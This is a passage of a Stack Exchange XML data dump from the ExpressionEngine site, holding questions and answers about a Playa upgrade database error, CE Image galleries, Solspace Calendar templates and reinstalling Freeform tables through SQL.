  <row Id="32563" PostTypeId="1" AcceptedAnswerId="32564" CreationDate="2015-08-07T06:03:16.290" Score="0" ViewCount="62" Body="&lt;p&gt;I had an error after upgrading and fixed is as suggested in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11970/db-error-after-upgrading-to-playa-444-duplicate-column-name-parent-var-id&quot;&gt;right here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this thread, the issue seems fixed, but for me, not just yet. Now I've got a similar, but not the same, error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1060&#xA;&#xA;Duplicate column name 'parent_element_id'&#xA;&#xA;ALTER TABLE exp_playa_relationships ADD parent_element_id VARCHAR(255) NULL AFTER parent_var_id&#xA;&#xA;Filename: third_party/playa/ft.playa.php&#xA;&#xA;Line Number: 488&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-09-06T06:50:11.083" Title="DB Error after Playa upgrade in EE2.10" Tags="|playa|pixelandtonic|error|upgrade|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32564" PostTypeId="2" ParentId="32563" CreationDate="2015-08-07T06:06:17.713" Score="0" Body="&lt;p&gt;As they mentioned in the thread, there's a certain amount of things to be checked. If this then, that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I had to check if there's a parent_element_id in exp_playa_relationships and, if so, change version to 4.5.2 in exp_fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These checks do feel somewhat more complex though, as you can just change the version to whatever version you're trying to install (which you can see in the Add-Ons -&gt; Fieldtype tab) &lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-08-07T06:06:17.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32565" PostTypeId="1" AcceptedAnswerId="32601" CreationDate="2015-08-07T06:10:04.147" Score="0" ViewCount="177" Body="&lt;p&gt;I want to add CE Image to this gallery, its a fancybox light box gallery. The code below works fine, but every time I try to add CE Images, it breaks. How do I but CE image in this code?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code works fine, how do I integrate {exp:ce_img:single src=&quot;{grid_gallery:pop_up_photo}&quot; width=&quot;600&quot; crop=&quot;yes&quot;} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is two instances of photos. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;photo_gallery&quot; }&#xA;  &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;  &amp;lt;h2 class=&quot;title-divider&quot;&amp;gt;&amp;lt;span&amp;gt;{title}&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;!-- Photo Gallery --&amp;gt;&#xA;&#xA;        {grid_gallery}&#xA;&#xA;        &amp;lt;div class=&quot;span3 gallery img-portfolio&quot;&amp;gt;   &#xA;        &amp;lt;a href=&quot;{grid_gallery:pop_up_photo}&quot; class=&quot;thumbnail img-hover&quot; rel=&quot;image&quot; title=&quot;{grid_gallery:caption}&quot; &amp;gt;&#xA;        &amp;lt;img class=&quot;img-responsive zoom-image&quot; src=&quot;{grid_gallery:small_photo}&quot;&amp;gt; &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;         {/grid_gallery}&#xA;&#xA;         {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="1330" LastEditDate="2015-08-09T16:07:57.110" LastActivityDate="2015-08-26T01:12:33.890" Title="CE Images and Grid with Fancybox" Tags="|grid|ce-image|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32566" PostTypeId="2" ParentId="31249" CreationDate="2015-08-07T09:23:07.423" Score="1" Body="&lt;p&gt;The developer gave a solution here: &lt;a href=&quot;https://devot-ee.com/add-ons/support/mustash/viewthread/15161&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/support/mustash/viewthread/15161&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the following code on line line 664 in mcp.mustash.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'group_id' =&amp;gt; $group[$index], &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'group_id' =&amp;gt; ($group[$index] == &quot;NULL&quot; ? NULL : $group[$index]), &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-08-07T09:29:21.343" LastActivityDate="2015-08-07T09:29:21.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32567" PostTypeId="1" AcceptedAnswerId="32575" CreationDate="2015-08-07T14:06:36.910" Score="0" ViewCount="27" Body="&lt;p&gt;I have two different types of events that show up on the same template. If the event is a multi-day event, I classify it as such using a category. If it is a single day event, it is classified as another event. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running into issues trying to get a section that I have added for future events to work. According to the Solspace website, I can use the {exp:calendar:occurrences} tag to make this happen, &amp;amp; it works great for one group, but not the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my main /calendar template where I have two sets of codes set up. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Multi Day Events --&amp;gt;&#xA;{if category ==&quot;124&quot;}&#xA;{embed=&quot;/site/calendar_multi&quot;}&#xA;{/if}&#xA;&amp;lt;!-- End Multi Day Events--&amp;gt;&#xA;&#xA;&amp;lt;!-- Single Day Events--&amp;gt;&#xA;{if category !=&quot;124&quot;}&#xA;{embed=&quot;/site/calendar_single&quot;}&#xA;{/if}&#xA;&amp;lt;!-- End Single Day Events--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The /site/calendar_single looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:calendar:events&#xA;            orderby=&quot;title&quot;&#xA;            sort=&quot;asc&quot;&#xA;            event_id=&quot;{segment_3}&quot;&#xA;            category=&quot;54&quot;&#xA;            limit=&quot;1&quot;&#xA;            dynamic=&quot;off&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;typography&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;title_entryBIGG&quot; style=&quot;width:98%;margin-top:10px:&quot;&amp;gt;&#xA;        &amp;lt;br/&amp;gt;&#xA;        &amp;lt;br/&amp;gt;&#xA;&#xA;    &amp;lt;a href=&quot;/calendar_download/event/{segment_3}&quot; target=&quot;_blank&quot; class=&quot;btn btn-default btn-sm pull-left&quot; role=&quot;button&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;glyphicon glyphicon-export&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/span&amp;gt;Export Event&#xA;    &amp;lt;/a&amp;gt;&#xA;&#xA;        {if hours != &quot;&quot;}&#xA;            &amp;lt;span style=&quot;float:right;margin-top:-50px;text-align:right;&quot;&amp;gt;&amp;lt;h5&amp;gt;Continuing Education Hours&amp;lt;br&amp;gt;&amp;lt;span style=&quot;color:#2079b5;font-size:300%;&quot;&amp;gt;{hours}&amp;lt;/h5&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;        {/if}&#xA;&#xA;    {if title_online == &quot;&quot;}&#xA;            &amp;lt;h5 class=&quot;title&quot; style=&quot;margin-top:65px;font-size: 350%;&quot;&amp;gt;{event_title}&amp;lt;/h5&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if title_online != &quot;&quot;}&#xA;    &amp;lt;h5 class=&quot;title&quot; style=&quot;margin-top:65px;font-size: 350%;&quot;&amp;gt;{title_online}&amp;lt;/h5&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;br&amp;gt;&#xA;    &amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Next Occurrence&amp;lt;/b&amp;gt;: &#xA;       {exp:calendar:occurrences event_id=&quot;{segment_3}&quot; show_months=&quot;6&quot; date_range_start=&quot;today&quot; occurrences_limit=&quot;1&quot; }&#xA;       {occurrence_start_date format=&quot;%l, %F %j, %Y from %g:%i%a&quot;} - {occurrence_end_date format= &quot;%g:%i%a&quot;}&#xA;       {/exp:calendar:occurrences}&#xA;    &amp;lt;/h2&amp;gt;&#xA;&#xA;    {if events_price != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Price&amp;lt;/b&amp;gt;: {events_price}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;    {if instructor_name != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Instructor&amp;lt;/b&amp;gt;: {instructor_name}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;    {if course_number != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Course&amp;lt;/b&amp;gt; #: {course_number}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;    {if provider_number != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Provider&amp;lt;/b&amp;gt; #: {provider_number}&amp;lt;/h2&amp;gt;{/if}&#xA;    {if event_location != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Location&amp;lt;/b&amp;gt;: {event_location}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;&#xA;    {if register != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;To Register&amp;lt;/b&amp;gt;: &amp;lt;a href =&quot;{site_url}login/my_account/&quot;&amp;gt; Click Here &amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;{/if}&#xA;    &amp;lt;hr&amp;gt;&#xA;    {if calendar_uploads != &quot;&quot;}&#xA;    &amp;lt;ol class=&quot;document_upload&quot;&amp;gt;&#xA;    {calendar_uploads}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{cell_1}&quot;&amp;gt;{cell_2}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/calendar_uploads}&#xA;    &amp;lt;/ol&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if event_summary != &quot;&quot;}&amp;lt;p class=&quot;details_copy&quot; style=&quot;font-size=125%;&quot;&amp;gt;{event_summary}&amp;lt;/p&amp;gt;{/if}&#xA;    &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;    {if cancellation_policy ==&quot;CE&quot;} &amp;lt;h3 style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;span style=&quot;color:#b22222&quot;&amp;gt;&amp;lt;strong&amp;gt;CANCELLATION POLICY:  Full refund if written notification is received by 48 hours before class starts.  NO REFUNDS will be issued after 24 hours prior to class. Transfer to another class can be made up to 24 hours before class begins.  The new class cannot be refunded.&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;{/if}&#xA;    {if cancellation_policy ==&quot;Designation&quot;} &amp;lt;h3 style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;span style=&quot;color:#b22222&quot;&amp;gt;&amp;lt;strong&amp;gt;Cancellation Policy:&amp;amp;nbsp; Full refund if written notification is received 2 weeks prior to class start date. Otherwise, a $25.00 cancellation fee will be deducted from your refund. NO REFUNDS will be issued is cancellation occurs within 1 week of class start date.&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;{/if}&#xA;    &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;!-- Future Dates --&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;panel panel-default&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;panel-heading&quot;&amp;gt;&#xA;    &amp;lt;h3 class=&quot;panel-title&quot;&amp;gt;Future Dates&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;panel-body&quot;&amp;gt;&#xA;            {exp:calendar:occurrences&#xA;              event_id=&quot;{segment_3}&quot;&#xA;              occurrences_offset=&quot;1&quot; &#xA;              date_range_start=&quot;21 month&quot;&#xA;              date_range_end=&quot;12 months&quot;&#xA;              dynamic=&quot;off&quot;&#xA;            }&#xA;            {if calendar_no_results}&#xA;            There are currently no future dates/times for this item within the next 12 months. We have many other classes and events on the &amp;lt;a href=&quot;/calendar_list&quot;&amp;gt;calendar&amp;lt;/a&amp;gt; in the meantime. &#xA;            {/if}       &#xA;    &amp;lt;ul class=&quot;list-group&quot; style=&quot;margin-bottom:0px;&quot;&amp;gt;      &#xA;            &amp;lt;li&amp;gt;&#xA;             {occurrence_start_date format=&quot;%l, %F %j, %Y - %g:%i%a&quot;}&#xA;            &amp;lt;/li&amp;gt;&#xA;            {/exp:calendar:occurrences}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!--End of Future Dates --&amp;gt;&#xA;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The /site/calendar_multi looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;        event_id=&quot;{segment_3}&quot;&#xA;        limit=&quot;1&quot;&#xA;        category=&quot;124&quot;&#xA;        dynamic=&quot;off&quot;}&#xA;&#xA;&amp;lt;div class=&quot;typography&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;title_entryBIGG&quot; style=&quot;width:98%;margin-top:10px:&quot;&amp;gt;&#xA;    &amp;lt;br/&amp;gt;&#xA;    &amp;lt;br/&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;/calendar_download/event/{segment_3}&quot; target=&quot;_blank&quot; class=&quot;btn btn-default btn-sm pull-left&quot; role=&quot;button&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;glyphicon glyphicon-export&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/span&amp;gt;Export Event&#xA;&amp;lt;/a&amp;gt;&#xA;&#xA;    {if hours != &quot;&quot;}&#xA;        &amp;lt;span style=&quot;float:right;margin-top:-50px;text-align:right;&quot;&amp;gt;&amp;lt;h5&amp;gt;Continuing Education Hours&amp;lt;br&amp;gt;&amp;lt;span style=&quot;color:#2079b5;font-size:300%;&quot;&amp;gt;{hours}&amp;lt;/h5&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;    {if title_online == &quot;&quot;}&#xA;        &amp;lt;h5 class=&quot;title&quot; style=&quot;margin-top:65px;font-size: 350%;&quot;&amp;gt;{event_title}&amp;lt;/h5&amp;gt;&#xA;{/if}&#xA;&#xA;{if title_online != &quot;&quot;}&#xA;&amp;lt;h5 class=&quot;title&quot; style=&quot;margin-top:65px;font-size: 350%;&quot;&amp;gt;{title_online}&amp;lt;/h5&amp;gt;&#xA;{/if}&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:-10px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Class Dates&amp;lt;/b&amp;gt;:&amp;lt;br&amp;gt; &#xA;   {exp:calendar:occurrences event_id=&quot;{segment_3}&quot; show_months=&quot;6&quot; date_range_start=&quot;today&quot; }&#xA;   &amp;lt;ul style=&quot;margin-bottom:-25px;&quot;&amp;gt;&#xA;   &amp;lt;li style=&quot;margin-top:-25px;&quot;&amp;gt;{occurrence_start_date format=&quot;%l, %F %j, %Y from %g:%i%a&quot;} - {occurrence_end_date format= &quot;%g:%i%a&quot;}&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;   {/exp:calendar:occurrences}&#xA;&amp;lt;/h2&amp;gt;&#xA;&#xA;{if events_price != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:35px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Price&amp;lt;/b&amp;gt;: {events_price}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;{if instructor_name != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Instructor&amp;lt;/b&amp;gt;: {instructor_name}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;{if course_number != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Course&amp;lt;/b&amp;gt; #: {course_number}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;{if provider_number != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Provider&amp;lt;/b&amp;gt; #: {provider_number}&amp;lt;/h2&amp;gt;{/if}&#xA;{if event_location != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;Location&amp;lt;/b&amp;gt;: {event_location}&amp;lt;/h2&amp;gt;{/if}&#xA;&#xA;&#xA;{if register != &quot;&quot;}&amp;lt;h2 class=&quot;title&quot; style=&quot;margin-top:0px;margin-bottom:5px;border-bottom:none;&quot;&amp;gt;&amp;lt;b&amp;gt;To Register&amp;lt;/b&amp;gt;: &amp;lt;a href =&quot;{site_url}login/my_account/&quot;&amp;gt; Click Here &amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;{/if}&#xA;&amp;lt;hr&amp;gt;&#xA;{if calendar_uploads != &quot;&quot;}&#xA;&amp;lt;ol class=&quot;document_upload&quot;&amp;gt;&#xA;{calendar_uploads}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{cell_1}&quot;&amp;gt;{cell_2}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/calendar_uploads}&#xA;&amp;lt;/ol&amp;gt;&#xA;{/if}&#xA;&#xA;{if event_summary != &quot;&quot;}&amp;lt;p class=&quot;details_copy&quot;&amp;gt;{event_summary}&amp;lt;/p&amp;gt;{/if}&#xA;{if cancellation_policy ==&quot;CE&quot;} &amp;lt;h3 style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;span style=&quot;color:#b22222&quot;&amp;gt;&amp;lt;strong&amp;gt;CANCELLATION POLICY:  Full refund if written notification is received by 48 hours before class starts.  NO REFUNDS will be issued after 24 hours prior to class. Transfer to another class can be made up to 24 hours before class begins.  The new class cannot be refunded.&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;{/if}&#xA;{if cancellation_policy ==&quot;Designation&quot;} &amp;lt;h3 style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;span style=&quot;color:#b22222&quot;&amp;gt;&amp;lt;strong&amp;gt;Cancellation Policy:&amp;amp;nbsp; Full refund if written notification is received 2 weeks prior to class start date. Otherwise, a $25.00 cancellation fee will be deducted from your refund. NO REFUNDS will be issued is cancellation occurs within 1 week of class start date.&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;{/if}&#xA;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On my multi-day events, I am still getting the &quot;There are currently no future dates/times for this item within the next 12 months. We have many other classes and events on the calendar in the meantime&quot; at the end of my entries. The formatting is stripped out, but the code is showing up. I am about to pull my hair out! Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="6366" LastActivityDate="2015-08-08T01:54:28.433" Title="Solspace Calendar - Occurrence" Tags="|solspace|conditionals|calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32568" PostTypeId="2" ParentId="32546" CreationDate="2015-08-07T14:27:22.000" Score="0" Body="&lt;p&gt;I managed to get it working by opening up and running the SQL commands inside &lt;strong&gt;db.freeform.sql&lt;/strong&gt; one by one. Then installing once all the tables were in the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `exp_freeform_forms` (&#xA;    `form_id`                       int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `form_name`                     varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `form_label`                    varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `default_status`                varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `notify_user`                   char(1)             NOT NULL DEFAULT 'n',&#xA;    `notify_admin`                  char(1)             NOT NULL DEFAULT 'n',&#xA;    `user_email_field`              varchar(150)        NOT NULL DEFAULT '',&#xA;    `user_notification_id`          int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `admin_notification_id`         int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `admin_notification_email`      text,&#xA;    `form_description`              text,&#xA;    `field_ids`                     text,&#xA;    `field_order`                   text,&#xA;    `template_id`                   int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `composer_id`                   int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `author_id`                     int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `entry_date`                    int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `edit_date`                     int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `settings`                      text,&#xA;    PRIMARY KEY                     (`form_id`),&#xA;    KEY                             (`form_name`),&#xA;    KEY                             (`site_id`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_composer_layouts` (&#xA;    `composer_id`                   int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `composer_data`                 text,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `preview`                       char(1)             NOT NULL DEFAULT 'n',&#xA;    `entry_date`                    int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `edit_date`                     int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    PRIMARY KEY                     (`composer_id`),&#xA;    KEY                             (`preview`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_fields` (&#xA;    `field_id`                      int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `field_name`                    varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `field_label`                   varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `field_type`                    varchar(50)         NOT NULL DEFAULT 'text',&#xA;    `settings`                      text,&#xA;    `author_id`                     int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `entry_date`                    int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `edit_date`                     int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `required`                      char(1)             NOT NULL DEFAULT 'n',&#xA;    `submissions_page`              char(1)             NOT NULL DEFAULT 'y',&#xA;    `moderation_page`               char(1)             NOT NULL DEFAULT 'y',&#xA;    `composer_use`                  char(1)             NOT NULL DEFAULT 'y',&#xA;    `field_description`             text,&#xA;    PRIMARY KEY                     (`field_id`),&#xA;    KEY                             (`field_name`),&#xA;    KEY                             (`site_id`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_fieldtypes` (&#xA;    `fieldtype_id`                  int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `fieldtype_name`                varchar(250),&#xA;    `settings`                      text,&#xA;    `default_field`                 char(1)             NOT NULL DEFAULT 'n',&#xA;    `version`                       varchar(12),&#xA;    PRIMARY KEY                     (`fieldtype_id`),&#xA;    KEY                             (`fieldtype_name`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_composer_templates` (&#xA;    `template_id`                   int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `template_name`                 varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `template_label`                varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `template_description`          text,&#xA;    `enable_template`               char(1)             NOT NULL DEFAULT 'y',&#xA;    `template_data`                 text,&#xA;    `param_data`                    text,&#xA;    PRIMARY KEY                     (`template_id`),&#xA;    KEY                             (`template_name`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_notification_templates` (&#xA;    `notification_id`               int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `notification_name`             varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `notification_label`            varchar(150)        NOT NULL DEFAULT 'default',&#xA;    `notification_description`      text,&#xA;    `wordwrap`                      char(1)             NOT NULL DEFAULT 'y',&#xA;    `allow_html`                    char(1)             NOT NULL DEFAULT 'n',&#xA;    `from_name`                     varchar(150)        NOT NULL DEFAULT '',&#xA;    `from_email`                    varchar(250)        NOT NULL DEFAULT '',&#xA;    `reply_to_email`                varchar(250)        NOT NULL DEFAULT '',&#xA;    `email_subject`                 varchar(128)        NOT NULL DEFAULT 'default',&#xA;    `include_attachments`           char(1)             NOT NULL DEFAULT 'n',&#xA;    `template_data`                 text,&#xA;    PRIMARY KEY                     (`notification_id`),&#xA;    KEY                             (`notification_name`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_params` (&#xA;    `params_id`                     int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `entry_date`                    int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `data`                          text,&#xA;    PRIMARY KEY                     (`params_id`),&#xA;    KEY                             (`entry_date`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_preferences` (&#xA;    `preference_id`                 int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `preference_name`               varchar(80),&#xA;    `preference_value`              text,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    PRIMARY KEY                     (`preference_id`),&#xA;    KEY                             (`preference_name`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_user_email` (&#xA;    `email_id`                      int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `author_id`                     int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `ip_address`                    varchar(40)         NOT NULL DEFAULT 0,&#xA;    `entry_date`                    int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `form_id`                       int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `entry_id`                      int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `email_count`                   int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `email_addresses`               text,&#xA;    PRIMARY KEY                     (`email_id`),&#xA;    KEY                             (`ip_address`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_file_uploads` (&#xA;    `file_id`                       int(10) unsigned    NOT NULL AUTO_INCREMENT,&#xA;    `site_id`                       int(10) unsigned    NOT NULL DEFAULT 1,&#xA;    `form_id`                       int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `entry_id`                      int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `field_id`                      int(10) unsigned    NOT NULL DEFAULT 0,&#xA;    `server_path`                   varchar(750),&#xA;    `filename`                      varchar(250),&#xA;    `extension`                     varchar(20),&#xA;    `filesize`                      int(10)             NOT NULL DEFAULT 0,&#xA;    PRIMARY KEY                     (`file_id`),&#xA;    KEY                             (`entry_id`),&#xA;    KEY                             (`field_id`),&#xA;    KEY                             (`extension`)&#xA;) CHARACTER SET utf8 COLLATE utf8_general_ci ;;&#xA;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_multipage_hashes` 